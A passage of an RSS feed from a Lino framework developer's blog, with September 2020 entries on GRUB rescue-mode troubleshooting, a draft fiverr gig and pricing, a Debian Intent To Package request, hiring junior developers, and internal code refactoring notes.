</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0929.html</guid><pubDate>Tue, 29 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0922.html</link><description>&lt;section id="tuesday-september-22-2020"&gt;
&lt;h1&gt;Tuesday, September 22, 2020&lt;a class="headerlink" href="#tuesday-september-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had the following on my old notebook (&lt;cite&gt;doll&lt;/cite&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;partition&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Entering&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Surf:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://olinux.net/grub-rescue-mode/"&gt;https://olinux.net/grub-rescue-mode/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://askubuntu.com/questions/266429/error-file-grub-i386-pc-normal-mod-not-found/462995#462995"&gt;https://askubuntu.com/questions/266429/error-file-grub-i386-pc-normal-mod-not-found/462995#462995&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.gnu.org/software/grub/manual/grub/html_node/GRUB-only-offers-a-rescue-shell.html"&gt;https://www.gnu.org/software/grub/manual/grub/html_node/GRUB-only-offers-a-rescue-shell.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;
&lt;span class="n"&gt;cmdpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;boot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;grub&lt;/span&gt;
&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos6&lt;/span&gt;

&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Filesystem&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;unknown&lt;/span&gt;
&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Filesystem&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;ext2&lt;/span&gt;

&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="n"&gt;boot&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hd1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;msdos1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;boot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;grub&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;grub rescue&amp;gt; insmod normal
error: file `/boot/grub/i386-pc/normal.mod&amp;#39; not found.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I specified some of the other partitions in boot and prefix, it says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;grub&lt;/span&gt; &lt;span class="n"&gt;rescue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;insmod&lt;/span&gt; &lt;span class="n"&gt;normal&lt;/span&gt;
&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;partition&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And in both cases the following says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;grub rescue&amp;gt; normal
Unknown command `normal&amp;#39;.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Funny:  I created an Lubuntu install usb, then changed the book order: move “USB
device” one item up in order to book from the usb, but then I didn’t need the
usb stick because it booted into initram where I simply said “fsck /dev/sda1”
(as instructed), then said ENTER to every “fix?” question, and afterwards
everything was back…&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0922.html</guid><pubDate>Tue, 22 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, September 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/0920.html</link><description>&lt;section id="sunday-september-20-2020"&gt;
&lt;h1&gt;Sunday, September 20, 2020&lt;a class="headerlink" href="#sunday-september-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;One positive result of last week is the new &lt;a class="reference external" href="https://www.lino-framework.org/site.html#cg-lino-site" title="(in Lino framework)"&gt;&lt;span&gt;Screenshots&lt;/span&gt;&lt;/a&gt; page. Instead of
trying to explain the whole Lino framework, it explains what one Lino site is.
This page is not finished, but it was a clearly missing piece.&lt;/p&gt;
&lt;p&gt;But after meditating on my first gig draft (&lt;a class="reference internal" href="0917.html"&gt;&lt;span class="doc"&gt;Thursday, September 17, 2020&lt;/span&gt;&lt;/a&gt;), I am afraid that it is
far from being usable. Things don’t work like that on fiverr.  The fiverr model
works for selling clearly defined services with a concrete outcome for a price
that is known in advance. But my sales strategy is fundamentally different. If
an interested customer would send me a specification with 50 pages of text
describing their needs, how could I promise to satisfy them for 200€?&lt;/p&gt;
&lt;p&gt;What is so different with my sales strategy?&lt;/p&gt;
&lt;p&gt;I sell long-term collaboration for projects where things are not predictable,
where even the customer doesn’t know exactly what they want.  New customers
start with me because it costs almost nothing to give it a try. A few hundred
euros is very cheap when you are you are looking for a software application that
satisfies the needs of a business with more than five employees. Writing a fully
binding functional specification for a new application costs much more than
this.&lt;/p&gt;
&lt;p&gt;The first step of a Lino project is to find an organization who would be happy
with a Lino. I am limited to projects that can be implemented by a single
developer. The next step is to get a “sufficient” overview of their needs. One
or two interview meetings with the “right” person.  Based on that overview I can
write a prototype that is “good enough” to “convince” them to continue the
project.
The prototype can take me several days of work and more phone calls for
clarifying things.  I actually don’t want these 200€; actually I am ready to
write prototypes for free, they are part of my sales offer. It is more efficient
to simply start working instead of trying to make detailed plans about how much
it will cost and how much time it will take.&lt;/p&gt;
&lt;p&gt;A Lino project requires one employee of the customer who knows what’s needed and
who is motivated to work with me.  That person must communicate with me.  She
must play with the prototype and explain me what’s missing. And when I present
my next version, she must find time and motivation for a next iteration of
playing around and reporting things that need more work.  This is the “dirty”
work of software development.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0920.html</guid><pubDate>Sun, 20 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, September 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/0917.html</link><description>&lt;section id="thursday-september-17-2020"&gt;
&lt;h1&gt;Thursday, September 17, 2020&lt;a class="headerlink" href="#thursday-september-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am trying to publish a gig on fiverr.com. My main problem is the question:
what do I have to sell? Here is my first draft, which took me three days of
surfing, watching tutorials and meditating:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;I will write for you a desktop-like web application that satisfies your
requirements, using the Lino framework
&lt;a class="reference external" href="https://community.lino-framework.org/lino/site.html"&gt;https://community.lino-framework.org/lino/site.html&lt;/a&gt;, which is basically Django
with an improved web interface using React or ExtJS (at your choice).&lt;/p&gt;
&lt;p&gt;All my code is published as free software. When the site enters into production
mode, you can either host and maintain it yourself, or ask me for an SLA.&lt;/p&gt;
&lt;p&gt;General project workflow: You send me a first description of your
requirements. I answer with an estimation whether I can do it and how much it
will cost in the long run. You pay a deposit of 200€. I write a prototype site
with fictive demo data, present it to you in a shared screen session, collect
your feedback and tell you my price for doing the next development iteration.
You can play with the prototype for one month before deciding whether our
collaboration continues.&lt;/p&gt;
&lt;p&gt;Base prices :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;set up a first prototype, including 2h presentation : 200€&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;each development iteration gets an individual price between 500€ and 2000€.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;when your site is ready to go into production, I can offer hosting for 8€ per end user per month (including unlimited support to one main user)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;at any time you can ask me for further software development and optimizations 70€/hour.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;you always remain free to stop our collaboration and organize yourself hosting and maintenance.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;But see &lt;a class="reference internal" href="0920.html"&gt;&lt;span class="doc"&gt;Sunday, September 20, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0917.html</guid><pubDate>Thu, 17 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Monday, September 14, 2020</title><link>https://luc.lino-framework.org/blog/2020/0914.html</link><description>&lt;section id="monday-september-14-2020"&gt;
&lt;h1&gt;Monday, September 14, 2020&lt;a class="headerlink" href="#monday-september-14-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I updated the Rumma &amp;amp; Ko website and the community guide to the new situation:
instead of calling ourselves a “team of three full-time developers” we are now a
“family-sized team with a network of independent certified developers”.  We no
longer provide long-term jobs but rather temporary financial support for people
who seriously invest time to learn how they can make their own money using Lino.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0914.html</guid><pubDate>Mon, 14 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Friday, September 11, 2020</title><link>https://luc.lino-framework.org/blog/2020/0911.html</link><description>&lt;section id="friday-september-11-2020"&gt;
&lt;h1&gt;Friday, September 11, 2020&lt;a class="headerlink" href="#friday-september-11-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-on-debian"&gt;
&lt;h2&gt;Lino on Debian?&lt;a class="headerlink" href="#lino-on-debian" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I filed an ITP (Intent To Package) for Lino to the Debian community.  This was
just a rather spontaneous idea.  The main obstacle for making Lino more known is
that no hosting provider will provide hosting for a software product that
requires much effort to get started with. I thought that instead of publishing
Docker files, it might make more sense to publish Lino as a series of Debian
packages. That would be more future-proof.&lt;/p&gt;
&lt;p&gt;Here is how I started my ITP:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ reportbug --email luc@lino-framework.org -B debian wnpp
Warning: no reportbug configuration found.  Proceeding in novice mode.
Detected character set: UTF-8
Please change your locale if this is incorrect.

Using &amp;#39;Luc Saffre &amp;lt;luc@lino-framework.org&amp;gt;&amp;#39; as your from address.
Will send report to Debian (per request).
What sort of request is this? (If none of these things mean anything to you, or you are trying to report a bug in an existing package,
please press Enter to exit reportbug.)

1 ITP  This is an `Intent To Package&amp;#39;. Please submit a package description along with copyright and URL in such a report.
2 O    The package has been `Orphaned&amp;#39;. It needs a new maintainer as soon as possible.
3 RFA  This is a `Request for Adoption&amp;#39;. Due to lack of time, resources, interest or something similar, the current maintainer is asking
       for someone else to maintain this package. They will maintain it in the meantime, but perhaps not in the best possible way. In
       short: the package needs a new maintainer.
4 RFH  This is a `Request For Help&amp;#39;. The current maintainer wants to continue to maintain this package, but they need some help to do
       this because their time is limited or the package is quite big and needs several maintainers.
5 RFP  This is a `Request For Package&amp;#39;. You have found an interesting piece of software and would like someone else to maintain it for
       Debian. Please submit a package description along with copyright and URL in such a report.

Choose the request type: 1
Please enter the proposed package name: lino
Checking status database...
Please briefly describe this package; this should be an appropriate short description for the eventual package:
&amp;gt; A Django subframework for writing customized database applications
Your report will be carbon-copied to debian-devel, per Debian policy.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the summary I wrote in my ITP:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Lino is a framework for developing customized database applications without
getting locked into a proprietary vendor. It is based on Django, React or Sencha
ExtJS, Sphinx and Python. Lino is suitable for writing complex applications with
many database models and user types. Lino is an encompassing framework because
it provides back-end technologies (server, application, database), front-end
technologies (JavaScript, ExtJS, React), a documentation &amp;amp; testing framework and
marketing models (Community Guide).&lt;/p&gt;
&lt;p&gt;Lino is currently used only by my company. I have 3 stable and several prospect
customers with more than 100 end users.  I maintain 6 production servers for my
own company and these customers, which all run on Debian and use apache2 or
nginx, mysql or postgresql, postfix, mailman and other packages. I also wrote a
submarine Lino application, Lino Amici, which I use privately to share sensible
contact and calendar data within my family. Lino Amici might be useful for other
families or small teams with family-like needs. If we want Lino to continue when
I will retire in 15 years, then we need to open it to other actors (developers
and hosting providers) who can use it to make money.  The main obstacle for new
actors is the lack of a community with a reliable infrastructure. I suggest to
create two Debian packages, &lt;cite&gt;lino&lt;/cite&gt; and &lt;cite&gt;lino-amici&lt;/cite&gt;, which would make it more
easy for hosting providers to provide cheap Lino sites to their customers. I
would submit and maintain these packages, but I will need help from a Debian
mentor. It would be for me an entry point into the Debian community.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I got the idea after reading Donald Norwood’s post in
&lt;a class="reference external" href="mailto:debian-news&amp;#37;&amp;#52;&amp;#48;lists&amp;#46;debian&amp;#46;org"&gt;debian-news&lt;span&gt;&amp;#64;&lt;/span&gt;lists&lt;span&gt;&amp;#46;&lt;/span&gt;debian&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt;. I also subscribed to two new mailing lists
&lt;a class="reference external" href="mailto:debian-mentors&amp;#37;&amp;#52;&amp;#48;lists&amp;#46;debian&amp;#46;org"&gt;debian-mentors&lt;span&gt;&amp;#64;&lt;/span&gt;lists&lt;span&gt;&amp;#46;&lt;/span&gt;debian&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt; and &lt;a class="reference external" href="mailto:debian-devel-announce&amp;#37;&amp;#52;&amp;#48;lists&amp;#46;debian&amp;#46;org"&gt;debian-devel-announce&lt;span&gt;&amp;#64;&lt;/span&gt;lists&lt;span&gt;&amp;#46;&lt;/span&gt;debian&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I don’t expect them to accept my ITP because Lino doesn’t have enough real users
yet. But who knows, maybe I am wrong, maybe some mentor decides that it is worth
a try.  And in any case it was worth my two hours of work because I learned a
bit more about the Debian community.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="is-lino-amici-going-to-be-the-first-lino-app-of-general-interest"&gt;
&lt;h2&gt;Is Lino Amici going to be the first Lino app of general interest?&lt;a class="headerlink" href="#is-lino-amici-going-to-be-the-first-lino-app-of-general-interest" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0911.html</guid><pubDate>Fri, 11 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, September 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/0910.html</link><description>&lt;section id="thursday-september-10-2020"&gt;
&lt;h1&gt;Thursday, September 10, 2020&lt;a class="headerlink" href="#thursday-september-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed some docs about Lino, mostly with the new Junior candidates in mind.
&lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0910.html</guid><pubDate>Thu, 10 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 8, 2020</title><link>https://luc.lino-framework.org/blog/2020/0908.html</link><description>&lt;section id="tuesday-september-8-2020"&gt;
&lt;h1&gt;Tuesday, September 8, 2020&lt;a class="headerlink" href="#tuesday-september-8-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="junior-developer-server-admin"&gt;
&lt;h2&gt;Junior developer &amp;amp; Server admin&lt;a class="headerlink" href="#junior-developer-server-admin" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Some days ago I posted a job offer in the database of the Estonian Job
employment agency (tootukassa.ee), and now I am here with already six
candidates. And they all look promising.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0908.html</guid><pubDate>Tue, 08 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Monday, September 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/0907.html</link><description>&lt;section id="monday-september-7-2020"&gt;
&lt;h1&gt;Monday, September 7, 2020&lt;a class="headerlink" href="#monday-september-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I finished &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/step4.html#dev-lets-step4" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Step 4 : User types&lt;/span&gt;&lt;/a&gt; of the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/index.html#dev-lets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The LETS tutorial&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;user_roles now computed dynamically by &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserRoles" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.UserRoles&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (no
longer stored in the Site (and initialized at startup in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.kernel.html#module-lino.core.kernel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.kernel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). Optimized the algorithm for deciding which roles are
meaningful.  Removed the number of roles from analyzer.get_complexity_factors.&lt;/p&gt;
&lt;p&gt;Removed the roles defined in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.office.roles&lt;/span&gt;&lt;/code&gt; from
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.user_types&lt;/span&gt;&lt;/code&gt;.  I plan to move the office plugin to &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#xl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Extensions Library&lt;/span&gt;&lt;/a&gt; one
day.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0907.html</guid><pubDate>Mon, 07 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, September 5, 2020</title><link>https://luc.lino-framework.org/blog/2020/0905.html</link><description>&lt;section id="saturday-september-5-2020"&gt;
&lt;h1&gt;Saturday, September 5, 2020&lt;a class="headerlink" href="#saturday-september-5-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to work on the LETS tutorial (&lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/index.html#dev-lets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The LETS tutorial&lt;/span&gt;&lt;/a&gt;).
I added &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/step4.html#dev-lets-step4" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Step 4 : User types&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Optimization:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;has_required_roles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has_required_roles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0905.html</guid><pubDate>Sat, 05 Sep 2020 00:00:00 +0000</pubDate></item><item><title>Friday, September 4, 2020</title><link>https://luc.lino-framework.org/blog/2020/0904.html</link><description>&lt;section id="friday-september-4-2020"&gt;
&lt;h1&gt;Friday, September 4, 2020&lt;a class="headerlink" href="#friday-september-4-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to work on the LETS tutorial (&lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/index.html#dev-lets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The LETS tutorial&lt;/span&gt;&lt;/a&gt;).
I added a branch “step2” and a section &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/step2.html#dev-lets-step2" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Step 2 : Menus and gadgets&lt;/span&gt;&lt;/a&gt;.
I added a branch “step3” and a section &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/step3.html#dev-lets-step3" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Step 3 : Filtering&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Internal optimizations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.setup_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.setup_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer searches and executes a
global function &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_quicklinks()&lt;/span&gt;&lt;/code&gt; in each plugin, but calls the new
